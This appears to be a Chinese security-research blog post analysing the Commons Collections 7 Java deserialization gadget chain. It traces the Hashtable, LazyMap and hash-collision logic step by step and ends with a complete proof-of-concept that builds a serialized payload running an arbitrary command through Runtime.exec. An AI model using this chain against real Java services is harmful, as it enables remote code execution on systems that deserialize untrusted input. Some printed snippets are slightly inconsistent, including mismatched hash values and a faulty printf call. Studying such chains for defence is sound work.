ysoserial 的实现
ysoserial 源码中还是用 TransformerChain,但是用了两个 LazyMap
并放到一个 HashTable
里:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
分析思路
使用 LazyMap
实现任意代码执行的关键还是要调用到它的 get
方法。除了之前那些利用链,在 AbstractMap#equals
中也有调用 get
:
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这是个抽象类,HashMap
的父类就是它
参数 o
应该为恶意 LazyMap
对象。被调用 equals
方法的对象也可以是一个 LazyMap
对象,因为 LazyMap
是 AbstractMapDecorator
的子类,其 equals
方法还是会调用被装饰的 HashMap
的 equals
方法:
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
所以对 LazyMap
调用 equals
方法时,在 AbstractMap#equals
上下文中的 this
引用就是被装饰的 Map
其实 AbstractMapDecorator
本身实现了 Map
接口,而实现的接口方法基本上都是调用 map 属性相应的方法。所以调用 LazyMap
的实现的 Map
接口的方法与调用被装饰的 map 的相应方法是一样的
不过在比较之前,还要注意使得 m.size() == size()
,显然比较的两个 map 的大小都不相等,它们肯定不相等,方法就返回 false
HashMap
的 size()
方法是直接返回 size
属性值,从 put
及 putVal
方法来看这个 size
属性就是 HashMap
对象的键值对数量
于是考虑当前类为有一个键值对的 HashMap
。参数为有一个键值对的恶意 LazyMap
对象(也可以两个都是恶意 LazyMap 对象),这样前面的几个条件都能满足,保证能走到 if (!value.equals(m.get(key)))
这行
然后找调用 equals
的地方。equals
方法在需要去重的场景中常用到,比如 Hashtable
的反序列化实现:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
/**
* The put method used by readObject. This is provided because put
* is overridable and should not be called in readObject since the
* subclass will not yet be initialized.
*
* <p>This differs from the regular put method in several ways. No
* checking for rehashing is necessary since the number of elements
* initially in the table is known. The modCount is not incremented
* because we are creating a new instance. Also, no return value
* is needed.
*/
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
readObject
中的 for 循环会遍历 Hashtable
中的元素,向循环外面创建的表中添加元素。reconstitutionPut
中的 for 循环遍历传入的这张表,将当前元素与被遍历的元素判等,经过循环后将当前元素放入表中。因此第一次 reconstitutionPut 不会进入 reconstitutionPut
的 for 循环,第二次 reconstitutionPut 会将当前元素与前一次放入的元素判等
另外注意到这里判等条件表达式 (e.hash == hash) && e.key.equals(key)
存在短路求值,也就是左边的表达式 e.hash == hash
的值必须为 true,程序才会执行右边的表达式以确定整个表达式的值
key.hashCode()
调用的就是 LazyMap#hashCode
。那这个 e.hash
是怎么来的?
e
的类型是当前类(Hashtable
)下的静态类 Entry
,其构造方法有四个参数,第一个是 hash
,以此初始化 hash
属性值
e
来自 table
这个数组,这个数组在 readObject
里被创建,初始为空:table = new Entry<?,?>[length];
。这里没有调用构造函数,于是就向下找到添加元素的地方:
这里调用了构造函数,而这里的 hash
就来自前面的 int hash = key.hashCode()
。注意这里是第一次 reconstitutionPut。第二次 reconstitutionPut 没有调用到这里就走完了后续的利用链。所以这个 e.hash
是第一个 Hashtable
第一个元素(LazyMap
对象)的 hashcode
方法返回值
也就是说要让 Hashtable
的两个元素(两个恶意 LazyMap
对象 hashCode()
方法的返回值相等
之前说到,调用 LazyMap
的实现的 Map
接口的方法与调用被装饰的 map 的相应方法是一样的。被装饰的是 HashMap
,所以来看看它的 hashCode()
方法
HashMap
继承自 AbstractMap
,没有重写 hashCode()
方法,于是跟进到 AbstractMap#hashCode
方法
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
这是将键值对的哈希值累加起来。继续跟进到 HashMap.node.hashCode()
:
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
这样看来一个 HashMap
如果只有一个键值对,调用 .hashCode()
得到的就是 Objects.hashCode(key)
和 Objects.hashCode(value)
的按位异或值。前面说到,要让两个 map 的这个方法返回值相等
如果在 Hashtable
放两个一模一样的 LazyMap
如何?首先不能是同一个引用,否则上面说到的 equals
方法在一开始就会返回 true。一模一样但不同引用似乎也不行,因为 Object
类默认的 hashCode()
实现基于对象的内存地址或 JVM 内部的唯一标识,因此 Objects.hashCode(o)
在处理内容相同但引用不同的对象时会返回不同的哈希码,而且 Hashtable
内元素的键不能重复
解决这个问题我首先想到的是利用 任何数按位异或 0 都是它本身
将 map 中的键值对其中一个设为整数 0(Integer
的 hashCode
就是其内部的 int 值),另一个设为相同的字符串(相同字符序列的 String
的 hashCode
相等)
这样的话在 Hashtable
放入的两个键值对的键不还是相同的?键相同,放入第二个键值对会覆盖掉第一个。即使不用 LazyMap
装饰,Hashtable
通过调用 hashCode
方法判等,会判断出键还是相同的
但其实把其中一个 map 的键和值交换一下就行,这俩就不是一样的了。结合前面的分析过程,这样构造:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
innerMap1.put("same", 0);
Map lazyMap = LazyMap.decorate(innerMap2, transformerChain);
lazyMap.put(0, "same");
// value 除了被放到 Hashtable 与键凑成一对外没有其他作用,可设为任意值
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(lazyMap, 2);
setFieldValue(transformerChain, "iTransformers", transformers);
return hashtable
回看前面的分析过程,LazyMap
键值对在整个过程的唯一作用就是能被获取到 hashCode
,而它的 hashCode
计算方式最终是将键和值的哈希值异或(只有一个键值对的情况下)。那么这个键和值的顺序也就不重要了
然而运行一下什么也没发生...调试看一下
这里 size
不一样,所以方法提前返回了。两个 map 明明都只放了一个键值对,怎么 LazyMap
恶意类多出来一个 "same"->"same" 的键值对?
从构造代码开始逐行跟踪 LazyMap
的变化
之前 LazyMap
对象的 size 都是 1,经过这一行就变成了 2
在这一行打断点再调试,步入看到这里也调了一次 equals
变量 key
也是恶意 lazyMap
对象。entry.key
也是有一个键值对的 HashMap
,与之前分析说的一样了,所以这里就走了一次预期调用链,现在没有把 TransformerChain
设置进来,所以没有弹计算器
在第一个 HashMap 中的键值对是 "same" -> 0
。所以字符串 "same" 作为 key
调用 LazyMap
的 get
方法。然后经过 transform,当然 TransformChain 是空的,就原封不动返回,所以最后就多出来一个 "same" -> "same"
键值对
其实学习 CC6 的时候也遇到过这类问题,在序列化前把这个键值对移除就行了
lazyMap.remove("same");
完整 POC:
package com.kkayu;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
byte[] bytecode = getPayload("Open -a Calculator");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytecode));
Object o = ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {cmd}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[] {});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
innerMap1.put("same", 0);
Map lazyMap = LazyMap.decorate(innerMap2, transformerChain);
lazyMap.put(0, "same");
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(lazyMap, 2);
lazyMap.remove("same");
setFieldValue(transformerChain, "iTransformers", transformers);
return hashtable;
}
public static byte[] getPayload(String cmd) throws Exception {
Object map = getObject(cmd);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
return baos.toByteArray();
}
}
同理,如果是调换第一个 map 的键和值,就是应该移除 0 -> 0
键值对
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
innerMap1.put(0, "same");
Map lazyMap = LazyMap.decorate(innerMap2, transformerChain);
lazyMap.put("same", 0);
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(lazyMap, 2);
lazyMap.remove(0);
再看 ysoserial 源码可见它的解决方案是哈希碰撞
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.printf("%s %s", lazyMap1.hashCode(), lazyMap2.hashCode());
// 3873 3873
字符串 yy 和 zZ 的哈希值相等
public class Test {
public static void main(String[] args) throws Exception {
String s1 = "yy";
String s2 = "zZ";
System.out.printf("%s %s %s", s1.hashCode(), s2.hashCode());
// 3872 3872
}
}